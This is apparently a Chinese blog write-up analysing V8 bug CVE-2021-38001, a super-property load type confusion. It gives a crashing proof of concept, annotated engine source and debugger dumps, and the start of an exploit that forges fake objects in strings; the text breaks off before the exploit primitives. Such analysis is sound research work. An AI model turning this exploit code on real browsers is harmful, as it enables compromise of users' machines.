信息收集

CVE 就是 TFC 上昆仑打的,issue 页面暂未公开,patch 如下:

Untitled.png

可以看出来漏洞应该和 CVE-2021-30517 十分类似,为 receiverholder 的类型混淆,更确切来说是把 holder 所对应的 handle 给了 receiver 而导致的类型混淆。

[github](https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md) 上可以找到验证的 poc ,分为两个文件,首先是 1.mjs

1
2
3
export let x = {};
export let y = {};
export let z = {};

随后是 2.mjs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import * as module from "1.mjs";

function poc() {
class C {
m() {
return super.y;
}
}

let zz = {aa: 1, bb: 2};
// receiver vs holder type confusion
function trigger() {
// set lookup_start_object
C.prototype.__proto__ = zz;
// set holder
C.prototype.__proto__.__proto__ = module;

// "c" is receiver in ComputeHandler [ic.cc]
// "module" is holder
// "zz" is lookup_start_object
let c = new C();

c.x0 = 0x42424242 / 2;
c.x1 = 0x42424242 / 2;
c.x2 = 0x42424242 / 2;
c.x3 = 0x42424242 / 2;
c.x4 = 0x42424242 / 2;

// LoadWithReceiverIC_Miss
// => UpdateCaches (Monomorphic)
// CheckObjectType with "receiver"
let res = c.m();
}

for (let i = 0; i < 0x100; i++) {
trigger();
}
}

poc();

当运行 2.mjs 的时候会发生以下错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#
# Fatal error in ../../src/objects/object-type.cc, line 48
# Type cast failed in CAST(LoadFromObject(MachineTypeOf<T>::value, object, IntPtrConstant(offset - kHeapObjectTag))) at ../../src/codegen/code-stub-assembler.h:1172
Expected Module but found Smi: 0x21212121 (555819297)

#
#
#
#FailureMessage Object: 0x7ffc2488d200
==== C stack trace ===============================

/home/anemone/Browser/Chrome/v8/v8/out.gn/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f70744c5fce]
/home/anemone/Browser/Chrome/v8/v8/out.gn/x64.debug/libv8_libplatform.so(+0x560cd) [0x7f707442c0cd]
/home/anemone/Browser/Chrome/v8/v8/out.gn/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x16f) [0x7f707449c9ef]
/home/anemone/Browser/Chrome/v8/v8/out.gn/x64.debug/libv8.so(v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long)+0x612b) [0x7f707760a1bb]
/home/anemone/Browser/Chrome/v8/v8/out.gn/x64.debug/libv8.so(+0x1de10f2) [0x7f70762b40f2]

可以从错误信息中得知本来是需要一个 module 对象的,结果却得到了一个 Smi 的值。

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
#3  0x00007f707760a1bb in v8::internal::CheckObjectType (raw_value=0x30a242424242, raw_type=0xda, raw_location=0x30a20800bded) at ../../src/objects/object-type.cc:45
45 FATAL(
gef➤ k
#0 0x00007f70744c3669 in v8::base::OS::Abort()::$_0::operator()() const (this=0x7ffc2488d138) at ../../src/base/platform/platform-posix.cc:535
#1 0x00007f70744c3653 in v8::base::OS::Abort () at ../../src/base/platform/platform-posix.cc:535
#2 0x00007f707449ca03 in V8_Fatal (file=0x7f70756f5303 "../../src/objects/object-type.cc", line=0x30, format=0x7f70757195b8 "Type cast failed in %s\n Expected %s but found %s") at ../../src/base/logging.cc:167
#3 0x00007f707760a1bb in v8::internal::CheckObjectType (raw_value=0x30a242424242, raw_type=0xda, raw_location=0x30a20800bded) at ../../src/objects/object-type.cc:45
#4 0x00007f70762b40f2 in Builtins_LoadSuperIC () from /home/anemone/Browser/Chrome/v8/v8/out.gn/x64.debug/libv8.so
#5 0x00007f707686b159 in Builtins_LdaNamedPropertyFromSuperHandler () from /home/anemone/Browser/Chrome/v8/v8/out.gn/x64.debug/libv8.so
#6 0x000030a2082940b9 in ?? ()
#7 0x0000000000000046 in ?? ()
#8 0x0000000000000000 in ?? ()

漏洞分析

该漏洞与 CVE-2021-30517 十分类似,故不重复分析之前分析过的内容。我们直接从 LdaNamedPropertyFromSuper 开始看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// LdaNamedPropertyFromSuper <receiver> <name_index> <slot>
//
// Calls the LoadSuperIC at FeedBackVector slot <slot> for <receiver>, home
// object's prototype (home object in the accumulator) and the name at constant
// pool entry <name_index>.
IGNITION_HANDLER(LdaNamedPropertyFromSuper, InterpreterAssembler) {
TNode<Object> receiver = LoadRegisterAtOperandIndex(0);
TNode<HeapObject> home_object = CAST(GetAccumulator());
TNode<Object> home_object_prototype = LoadMapPrototype(LoadMap(home_object));
TNode<Object> name = LoadConstantPoolEntryAtOperandIndex(1);
TNode<TaggedIndex> slot = BytecodeOperandIdxTaggedIndex(2);
TNode<HeapObject> feedback_vector = LoadFeedbackVector();
TNode<Context> context = GetContext();

TNode<Object> result =
CallBuiltin(Builtin::kLoadSuperIC, context, receiver,
home_object_prototype, name, slot, feedback_vector);
SetAccumulator(result);
Dispatch();
}

其调用了 kLoadSuperIC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
void AccessorAssembler::LoadSuperIC(const LoadICParameters* p) {
ExitPoint direct_exit(this);

TVARIABLE(MaybeObject, var_handler);
Label if_handler(this, &var_handler), no_feedback(this),
non_inlined(this, Label::kDeferred), try_polymorphic(this),
miss(this, Label::kDeferred);

GotoIf(IsUndefined(p->vector()), &no_feedback);

// The lookup start object cannot be a SMI, since it's the home object's
// prototype, and it's not possible to set SMIs as prototypes.
TNode<Map> lookup_start_object_map =
LoadReceiverMap(p->lookup_start_object());
GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);

TNode<MaybeObject> feedback =
TryMonomorphicCase(p->slot(), CAST(p->vector()), lookup_start_object_map,
&if_handler, &var_handler, &try_polymorphic);

BIND(&if_handler);
{
LazyLoadICParameters lazy_p(p);
HandleLoadICHandlerCase(&lazy_p, CAST(var_handler.value()), &miss,
&direct_exit);
}

BIND(&no_feedback);
{ LoadSuperIC_NoFeedback(p); }

BIND(&try_polymorphic);
TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);
{
Comment("LoadSuperIC_try_polymorphic");
GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &non_inlined);
HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback),
&if_handler, &var_handler, &miss);
}

BIND(&non_inlined);
{
// LoadIC_Noninlined can be used here, since it handles the
// lookup_start_object != receiver case gracefully.
LoadIC_Noninlined(p, lookup_start_object_map, strong_feedback, &var_handler,
&if_handler, &miss, &direct_exit);
}

BIND(&miss);
direct_exit.ReturnCallRuntime(Runtime::kLoadWithReceiverIC_Miss, p->context(),
p->receiver(), p->lookup_start_object(),
p->name(), p->slot(), p->vector());
}

第一次会没有 feedback ,随后走到 LoadSuperIC_NoFeedback

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void AccessorAssembler::i(const LoadICParameters* p) {
Label miss(this, Label::kDeferred);
TNode<Object> lookup_start_object = p->lookup_start_object();

// The lookup start object cannot be a SMI, since it's the home object's
// prototype, and it's not possible to set SMIs as prototypes.
TNode<Map> lookup_start_object_map = LoadMap(CAST(lookup_start_object));
GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);

TNode<Uint16T> instance_type = LoadMapInstanceType(lookup_start_object_map);

GenericPropertyLoad(CAST(lookup_start_object), lookup_start_object_map,
instance_type, p, &miss, kDontUseStubCache);

BIND(&miss);
{
TailCallRuntime(Runtime::kLoadWithReceiverNoFeedbackIC_Miss, p->context(),
p->receiver(), p->lookup_start_object(), p->name());
}
}

随后到 miss 并走到 kLoadWithReceiverNoFeedbackIC_Miss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
RUNTIME_FUNCTION(Runtime_LoadWithReceiverNoFeedbackIC_Miss) {
HandleScope scope(isolate);
DCHECK_EQ(3, args.length());
// Runtime functions don't follow the IC's calling convention.
Handle<Object> receiver = args.at(0);
Handle<Object> object = args.at(1);
Handle<Name> key = args.at<Name>(2);

Handle<FeedbackVector> vector = Handle<FeedbackVector>();
FeedbackSlot vector_slot = FeedbackSlot::Invalid();
LoadIC ic(isolate, vector, vector_slot, FeedbackSlotKind::kLoadProperty);
ic.UpdateState(object, key);
RETURN_RESULT_OR_FAILURE(isolate, ic.Load(object, key, true, receiver));
}

然后是 load

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
MaybeHandle<Object> LoadIC::Load(Handle<Object> object, Handle<Name> name,
bool update_feedback,
Handle<Object> receiver) {
bool use_ic = (state() != NO_FEEDBACK) && FLAG_use_ic && update_feedback;

if (receiver.is_null()) {
receiver = object;
}

// If the object is undefined or null it's illegal to try to get any
// of its properties; throw a TypeError in that case.
if (IsAnyHas() ? !object->IsJSReceiver()
: object->IsNullOrUndefined(isolate())) {
if (use_ic) {
// Ensure the IC state progresses.
TRACE_HANDLER_STATS(isolate(), LoadIC_NonReceiver);
update_lookup_start_object_map(object);
SetCache(name, LoadHandler::LoadSlow(isolate()));
TraceIC("LoadIC", name);
}

if (*name == ReadOnlyRoots(isolate()).iterator_symbol()) {
return isolate()->Throw<Object>(
ErrorUtils::NewIteratorError(isolate(), object));
}

if (IsAnyHas()) {
return TypeError(MessageTemplate::kInvalidInOperatorUse, object, name);
} else {
DCHECK(object->IsNullOrUndefined(isolate()));
ErrorUtils::ThrowLoadFromNullOrUndefined(isolate(), object, name);
return MaybeHandle<Object>();
}
}

// If we encounter an object with a deprecated map, we want to update the
// feedback vector with the migrated map.
// Mark ourselves as RECOMPUTE_HANDLER so that we don't turn megamorphic due
// to seeing the same map and handler.
if (MigrateDeprecated(isolate(), object)) {
UpdateState(object, name);
}

JSObject::MakePrototypesFast(object, kStartAtReceiver, isolate());
update_lookup_start_object_map(object);

PropertyKey key(isolate(), name);
LookupIterator it = LookupIterator(isolate(), receiver, key, object);

// Named lookup in the object.
LookupForRead(&it, IsAnyHas());

if (name->IsPrivate()) {
if (!IsAnyHas() && name->IsPrivateName() && !it.IsFound()) {
Handle<String> name_string(
String::cast(Symbol::cast(*name).description()), isolate());
if (name->IsPrivateBrand()) {
Handle<String> class_name =
(name_string->length() == 0)
? isolate()->factory()->anonymous_string()
: name_string;
return TypeError(MessageTemplate::kInvalidPrivateBrand, object,
class_name);
}
return TypeError(MessageTemplate::kInvalidPrivateMemberRead, object,
name_string);
}

// IC handling of private symbols/fields lookup on JSProxy is not
// supported.
if (object->IsJSProxy()) {
use_ic = false;
}
}

if (it.IsFound() || !ShouldThrowReferenceError()) {
// Update inline cache and stub cache.
if (use_ic) {
UpdateCaches(&it);
} else if (state() == NO_FEEDBACK) {
// Tracing IC stats
IsLoadGlobalIC() ? TraceIC("LoadGlobalIC", name)
: TraceIC("LoadIC", name);
}

if (IsAnyHas()) {
// Named lookup in the object.
Maybe<bool> maybe = JSReceiver::HasProperty(&it);
if (maybe.IsNothing()) return MaybeHandle<Object>();
return maybe.FromJust() ? ReadOnlyRoots(isolate()).true_value_handle()
: ReadOnlyRoots(isolate()).false_value_handle();
}

// Get the property.
Handle<Object> result;

ASSIGN_RETURN_ON_EXCEPTION(
isolate(), result, Object::GetProperty(&it, IsLoadGlobalIC()), Object);
if (it.IsFound()) {
return result;
} else if (!ShouldThrowReferenceError()) {
LOG(isolate(), SuspectReadEvent(*name, *object));
return result;
}
}
return ReferenceError(name);
}

调试一下可以发现此时的 receiverlookup_start_object (也就是 object )分别为 czzkey ( 也就是 name )为 y

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
gef➤  jh receiver
0x12ac0810b469: [JS_OBJECT_TYPE]
- map: 0x12ac082c7fc9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x12ac0810ae0d <C map = 0x12ac082c7ff1>
- elements: 0x12ac0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x12ac0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x12ac08293dc9: [String] in OldSpace: #x0: 555819297 (const data field 0), location: in-object
0x12ac08293dd9: [String] in OldSpace: #x1: 555819297 (const data field 1), location: in-object
0x12ac08293de9: [String] in OldSpace: #x2: 555819297 (const data field 2), location: in-object
0x12ac08293df9: [String] in OldSpace: #x3: 555819297 (const data field 3), location: in-object
0x12ac08293e09: [String] in OldSpace: #x4: 555819297 (const data field 4), location: in-object
}

gef➤ jh object
0x12ac0810ae9d: [JS_OBJECT_TYPE]
- map: 0x12ac082c8019 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x12ac0810abf1 <Object map = 0x12ac082c7f01>
- elements: 0x12ac0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x12ac0810b2ed <PropertyArray[3]>
- All own properties (excluding elements): {
0x12ac08293ac9: [String] in OldSpace: #aa: 1 (const data field 0), location: in-object
0x12ac08293ad9: [String] in OldSpace: #bb: 2 (const data field 1), location: in-object
0x12ac08005071: [String] in ReadOnlySpace: #__proto__: 0x12ac0810abf1 <Object map = 0x12ac082c7f01> (const data field 2), location: properties[0]
}

gef➤ jh name
0x12ac082937b1: [String] in OldSpace: #y

随后会走到 UpdateCaches

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void LoadIC::UpdateCaches(LookupIterator* lookup) {
Handle<Object> handler;
if (lookup->state() == LookupIterator::ACCESS_CHECK) {
handler = LoadHandler::LoadSlow(isolate());
} else if (!lookup->IsFound()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_LoadNonexistentDH);
Handle<Smi> smi_handler = LoadHandler::LoadNonExistent(isolate());
handler = LoadHandler::LoadFullChain(
isolate(), lookup_start_object_map(),
MaybeObjectHandle(isolate()->factory()->null_value()), smi_handler);
} else if (IsLoadGlobalIC() && lookup->state() == LookupIterator::JSPROXY) {
// If there is proxy just install the slow stub since we need to call the
// HasProperty trap for global loads. The ProxyGetProperty builtin doesn't
// handle this case.
handler = LoadHandler::LoadSlow(isolate());
} else {
if (IsLoadGlobalIC()) {
if (lookup->TryLookupCachedProperty()) {
DCHECK_EQ(LookupIterator::DATA, lookup->state());
}
if (lookup->state() == LookupIterator::DATA &&
lookup->GetReceiver().is_identical_to(lookup->GetHolder<Object>())) {
DCHECK(lookup->GetReceiver()->IsJSGlobalObject());
// Now update the cell in the feedback vector.
nexus()->ConfigurePropertyCellMode(lookup->GetPropertyCell());
TraceIC("LoadGlobalIC", lookup->name());
return;
}
}
handler = ComputeHandler(lookup);
}
// Can't use {lookup->name()} because the LookupIterator might be in
// "elements" mode for keys that are strings representing integers above
// JSArray::kMaxIndex.
SetCache(lookup->GetName(), handler);
TraceIC("LoadIC", lookup->GetName());
}

最关键的来了,它会走到 ComputeHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
Handle<Object> receiver = lookup->GetReceiver();
ReadOnlyRoots roots(isolate());

Handle<Object> lookup_start_object = lookup->lookup_start_object();
...

Handle<Map> map = lookup_start_object_map();
bool holder_is_lookup_start_object =
lookup_start_object.is_identical_to(lookup->GetHolder<JSReceiver>());

switch (lookup->state()) {
...

case LookupIterator::ACCESSOR: {
Handle<JSObject> holder = lookup->GetHolder<JSObject>();
// Use simple field loads for some well-known callback properties.
// The method will only return true for absolute truths based on the
// lookup start object maps.
FieldIndex field_index;
if (Accessors::IsJSObjectFieldAccessor(isolate(), map, lookup->name(),
&field_index)) {
TRACE_HANDLER_STATS(isolate(), LoadIC_LoadFieldDH);
return LoadHandler::LoadField(isolate(), field_index);
}
if (holder->IsJSModuleNamespace()) {
Handle<ObjectHashTable> exports(
Handle<JSModuleNamespace>::cast(holder)->module().exports(),
isolate());
InternalIndex entry =
exports->FindEntry(isolate(), roots, lookup->name(),
Smi::ToInt(lookup->name()->GetHash()));
// We found the accessor, so the entry must exist.
DCHECK(entry.is_found());
int value_index = ObjectHashTable::EntryToValueIndex(entry);
return LoadHandler::LoadModuleExport(isolate(), value_index);
}
...
}

...
}

return Handle<Code>::null();
}

分别查看 receiver,lookup_start_objectholder ,可以知道他们分别为 c,zz,module

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
gef➤  jh receiver
0x2ba0810b49d: [JS_OBJECT_TYPE]
- map: 0x02ba082c7fc9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x02ba0810ae21 <C map = 0x2ba082c7ff1>
- elements: 0x02ba0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x02ba0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x2ba08293e19: [String] in OldSpace: #x0: 555819297 (const data field 0), location: in-object
0x2ba08293e29: [String] in OldSpace: #x1: 555819297 (const data field 1), location: in-object
0x2ba08293e39: [String] in OldSpace: #x2: 555819297 (const data field 2), location: in-object
0x2ba08293e49: [String] in OldSpace: #x3: 555819297 (const data field 3), location: in-object
0x2ba08293e59: [String] in OldSpace: #x4: 555819297 (const data field 4), location: in-object
}

gef➤ jh lookup_start_object
0x2ba0810aeb1: [JS_OBJECT_TYPE]
- map: 0x02ba082c8019 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x02ba0810ac05 <Object map = 0x2ba082c7f01>
- elements: 0x02ba0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x02ba0810b301 <PropertyArray[3]>
- All own properties (excluding elements): {
0x2ba08293ac9: [String] in OldSpace: #aa: 1 (const data field 0), location: in-object
0x2ba08293ad9: [String] in OldSpace: #bb: 2 (const data field 1), location: in-object
0x2ba08005071: [String] in ReadOnlySpace: #__proto__: 0x02ba0810ac05 <Object map = 0x2ba082c7f01> (const data field 2), location: properties[0]
}

gef➤ jh holder
0x2ba0810ac05: [JSModuleNamespace]
- map: 0x02ba082c7f01 <Map(DICTIONARY_ELEMENTS)> [FastProperties]
- prototype: 0x02ba08002235 <null>
- elements: 0x02ba08003295 <NumberDictionary[7]> [DICTIONARY_ELEMENTS]
- module: 0x02ba08293951 <Other heap object (SOURCE_TEXT_MODULE_TYPE)>
- properties: 0x02ba0810b135 <PropertyArray[1]>
- All own properties (excluding elements): {
0x02ba08005bbd <Symbol: Symbol.toStringTag>: 0x02ba08004d31 <String[6]: #Module> (const data field 0), location: properties[0]
0x2ba082937a1: [String] in OldSpace: #x: 0x02ba08293a4d <AccessorInfo> (const accessor descriptor), location: descriptor
0x2ba082937b1: [String] in OldSpace: #y: 0x02ba08293a6d <AccessorInfo> (const accessor descriptor), location: descriptor
0x2ba082937c1: [String] in OldSpace: #z: 0x02ba08293a8d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x02ba08003295 <NumberDictionary[7]> {
- max_number_key: 0
}

最终会用 holder 来生成对应的 handle

当有了该 handle 的时候,接下来 LoadSuperIC 就会走到有 handle 的地方去使用 handle

1
2
3
4
5
6
BIND(&if_handler);
{
LazyLoadICParameters lazy_p(p);
HandleLoadICHandlerCase(&lazy_p, CAST(var_handler.value()), &miss,
&direct_exit);
}

接下来依次 HandleLoadICHandlerCase → HandleLoadICSmiHandlerCase → HandleLoadICSmiHandlerLoadNamedCase ,并最终走到这个分支:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
BIND(&module_export);
{
Comment("module export");
TNode<UintPtrT> index =
DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);
TNode<Module> module =
LoadObjectField<Module>(CAST(p->receiver), JSModuleNamespace::kModuleOffset);
TNode<ObjectHashTable> exports =
LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);
TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));
// The handler is only installed for exports that exist.
TNode<Object> value = LoadCellValue(cell);
Label is_the_hole(this, Label::kDeferred);
GotoIf(IsTheHole(value), &is_the_hole);
exit_point->Return(value);
...
}

可以看到 module 是直接使用 p->receiver 来加上 kModuleOffset 进行获取的,而并非 holder ,这样便会造成一个类型混淆的问题

漏洞利用

CVE-2021-30517 一样,我们可以得知 value 是通过以下过程获得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
// module
gef➤ job 0x7c00810ac1d
0x7c00810ac1d: [JSModuleNamespace]
- map: 0x07c0082c7f01 <Map(DICTIONARY_ELEMENTS)> [FastProperties]
- prototype: 0x07c008002235 <null>
- elements: 0x07c008003295 <NumberDictionary[7]> [DICTIONARY_ELEMENTS]
- module: 0x07c008293969 <Other heap object (SOURCE_TEXT_MODULE_TYPE)>
- properties: 0x07c00810b14d <PropertyArray[1]>
- All own properties (excluding elements): {
0x07c008005bbd <Symbol: Symbol.toStringTag>: 0x07c008004d31 <String[6]: #Module> (const data field 0), location: properties[0]
0x7c0082937b9: [String] in OldSpace: #x: 0x07c008293a65 <AccessorInfo> (const accessor descriptor), location: descriptor
0x7c0082937c9: [String] in OldSpace: #y: 0x07c008293a85 <AccessorInfo> (const accessor descriptor), location: descriptor
0x7c0082937d9: [String] in OldSpace: #z: 0x07c008293aa5 <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x07c008003295 <NumberDictionary[7]> {
- max_number_key: 0
}

gef➤ x/30wx 0x7c00810ac1d-1
0x7c00810ac1c: 0x082c7f01 0x0810b14d 0x08003295 0x08293969 // module
0x7c00810ac2c: 0x080022c5 0x08002b5d 0x0000003a 0x00000008
0x7c00810ac3c: 0x00000000 0x00000010 0x0000000a 0x00000000
0x7c00810ac4c: 0x080023b5 0x080023b5 0x080023b5 0x08005bbd
0x7c00810ac5c: 0x08004d31 0x00000238 0x082937c9 0x08293a85
0x7c00810ac6c: 0x00000622 0x080023b5 0x080023b5 0x080023b5
0x7c00810ac7c: 0x082937b9 0x08293a65 0x00000422 0x080023b5
0x7c00810ac8c: 0x080023b5 0x080023b5

// module -> module
gef➤ job 0x07c008293969
0x7c008293969: [SourceTextModule] in OldSpace
- map: 0x07c008002ddd <Map[72]>
- exports: 0x07c00810a949 <HashTable[11]>
- status: 6
- exception: 0x07c00800242d <the_hole>
- sfi/code/info: 0x07c00810aae9 <JSGenerator>
- script: 0x07c008293779 <Script>
- origin: 0x07c00810a8c5 <String[57]: "/home/anemone/Browser/Chrome/v8/v8/out.gn/x64.debug/1.mjs">
- requested_modules: 0x07c00800222d <FixedArray[0]>
- import_meta: 0x07c00800242d <the_hole>
- cycle_root: 0x07c008293969 <Other heap object (SOURCE_TEXT_MODULE_TYPE)>
- async_evaluating_ordinal: 0

gef➤ x/30wx 0x07c008293969-1
0x7c008293968: 0x08002ddd 0x0810a949 0x7cf85e50 0x0000000c // exports
0x7c008293978: 0x0810ac1d 0x0800242d 0x080023b5 0x0810aae9
0x7c008293988: 0x0810a97d 0x0800222d 0x0800222d 0x0800242d
0x7c008293998: 0x08293969 0x0810ad39 0x00000002 0x00000002
0x7c0082939a8: 0x00000000 0x00000000 0x08002649 0x0810ad45
0x7c0082939b8: 0x08002649 0x0810ad61 0x08002649 0x0810ad7d
0x7c0082939c8: 0x082c22f9 0x0800222d 0x0800222d 0x08293485
0x7c0082939d8: 0x08293a4d 0x08293a01

// module -> module -> exports
gef➤ job 0x07c00810a949
0x7c00810a949: [ObjectHashTable]
- FixedArray length: 11
- elements: 3
- deleted: 0
- capacity: 4
- elements: {
0: x -> 0x07c0082939b1 <Cell value= 0x07c00810ad45 <Object map = 0x7c0082c22d1>>
2: y -> 0x07c0082939b9 <Cell value= 0x07c00810ad61 <Object map = 0x7c0082c22d1>>
3: z -> 0x07c0082939c1 <Cell value= 0x07c00810ad7d <Object map = 0x7c0082c22d1>>
}

gef➤ x/30wx 0x07c00810a949-1
0x7c00810a948: 0x08002559 0x00000016 0x00000006 0x00000000
0x7c00810a958: 0x00000008 0x082937b9 0x082939b1 0x080023b5
0x7c00810a968: 0x080023b5 0x082937c9 0x082939b9 0x082937d9 // y
0x7c00810a978: 0x082939c1 0x08002205 0x00000006 0x082939b1
0x7c00810a988: 0x082939b9 0x082939c1 0x080029a5 0x00000002
0x7c00810a998: 0x00000000 0x08002205 0x00000008 0x080028f5
0x7c00810a9a8: 0x080028f5 0x080023b5 0x080023b5 0x082c7be1
0x7c00810a9b8: 0x0810aa9d 0x0800222d

// module -> module -> exports -> y
gef➤ job 0x07c0082939b9
0x7c0082939b9: [Cell] in OldSpace
- map: 0x07c008002649 <Map[8]>
- value: 0x07c00810ad61 <Object map = 0x7c0082c22d1>

gef➤ x/30wx 0x07c0082939b9-1
0x7c0082939b8: 0x08002649 0x0810ad61 0x08002649 0x0810ad7d
0x7c0082939c8: 0x082c22f9 0x0800222d 0x0800222d 0x08293485
0x7c0082939d8: 0x08293a4d 0x08293a01 0x00005181 0x082c7c09
0x7c0082939e8: 0x08002955 0x00000002 0x082939f5 0x08002bd5
0x7c0082939f8: 0x08293d7d 0x000002a0 0x08002bd5 0x082939e9
0x7c008293a08: 0x000001e2 0x082c22f9 0x0800222d 0x0800222d
0x7c008293a18: 0x082937f5 0x08293a39 0x08293a2d 0x00005181
0x7c008293a28: 0x082c7b69 0x08002bd5

// value
gef➤ job 0x07c00810ad61
0x7c00810ad61: [JS_OBJECT_TYPE]
- map: 0x07c0082c22d1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x07c00828421d <Object map = 0x7c0082c21b9>
- elements: 0x07c00800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x07c00800222d <FixedArray[0]>
- All own properties (excluding elements): {}

gef➤ x/30wx 0x07c00810ad61-1
0x7c00810ad60: 0x082c22d1 0x0800222d 0x0800222d 0x080023b5
0x7c00810ad70: 0x080023b5 0x080023b5 0x080023b5 0x082c22d1
0x7c00810ad80: 0x0800222d 0x0800222d 0x080023b5 0x080023b5
0x7c00810ad90: 0x080023b5 0x080023b5 0x082c43a1 0x0800222d
0x7c00810ada0: 0x0800222d 0x080023b5 0x0800248d 0x082c4441
0x7c00810adb0: 0x00000008 0x08293b01 0x08293a4d 0x0810adfd
0x7c00810adc0: 0x0810aec9 0x082c22f9 0x0800222d 0x0800222d
0x7c00810add0: 0x08293b5d 0x0810adad

然而由于是 ObjectHashTabley 的位置也不是固定的,只要我们填满这块区域就能绕过该限制。

但是经过尝试,在不知道地址的情况下很难构造假的对象,其中的一种方法是堆喷出来固定的 map 等值伪造一个对象( Basic maps 都用有静态的低 32 位值,由于指针压缩的原因使得它更不随机了。不过该值因机器、版本等因素而异)。

另外也可以参考 p4nda 师兄在第五届看雪安全开发者峰会的演讲:

Untitled 1.png

使用字符串进行没有泄漏的类型混淆利用,并通过修改 stringlength 来进行地址泄漏:

Untitled 2.png

首先我们先得到伪造的 double array ,并使其 element 指针指向 oobStr 并修改其长度:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
var oobStr = "Ver";

// var map = 0x082c3ae1
// var properties = 0x0800222d;
// var element = 0x081d3371;
// var length = 0x200000;

var fakeObjStr = "\xe1\x3a\x20\x08\x2d\x22\x00\x08\x71\x33\x1d\x08\x00\x00\x20\x00"

// var fakeObjStrAddr = 0x081d3399 + 0xc;
var fakeCellStr = "AAAA\xa5\x33\x1d\x08";

// var fakeCellStrAddr = 0x081d33cd + 0xc
var fakeExportStr = "AAAA\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08";

// fakeExportStr = 0x081d33fd + 0xc
var fakeModuleStr = "AAAA\x09\x34\x1d\x08";

var fakeModuleStrAddr = i2f(0x081d33fdn + 0xcn);

function getFakeArr() {
class A {
constructor(){
this.x1 = fakeModuleStrAddr;
}
m() {
return super.y;
}
}

let zz = {aa: 1, bb: 2};

function trigger() {
A.prototype.__proto__ = zz;
A.prototype.__proto__.__proto__ = module;
let a = new A();
let result = a.m();
return result;
}

for (let i = 0; i < 0x20; i++) {
var result = trigger();
if(result.length != undefined){
return result;
}

}
}

var fakeArr = getFakeArr();
fakeArr[0] = i2f(0xf0000n);

随后使用 fakeArroobStr 构造一系列的原语:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
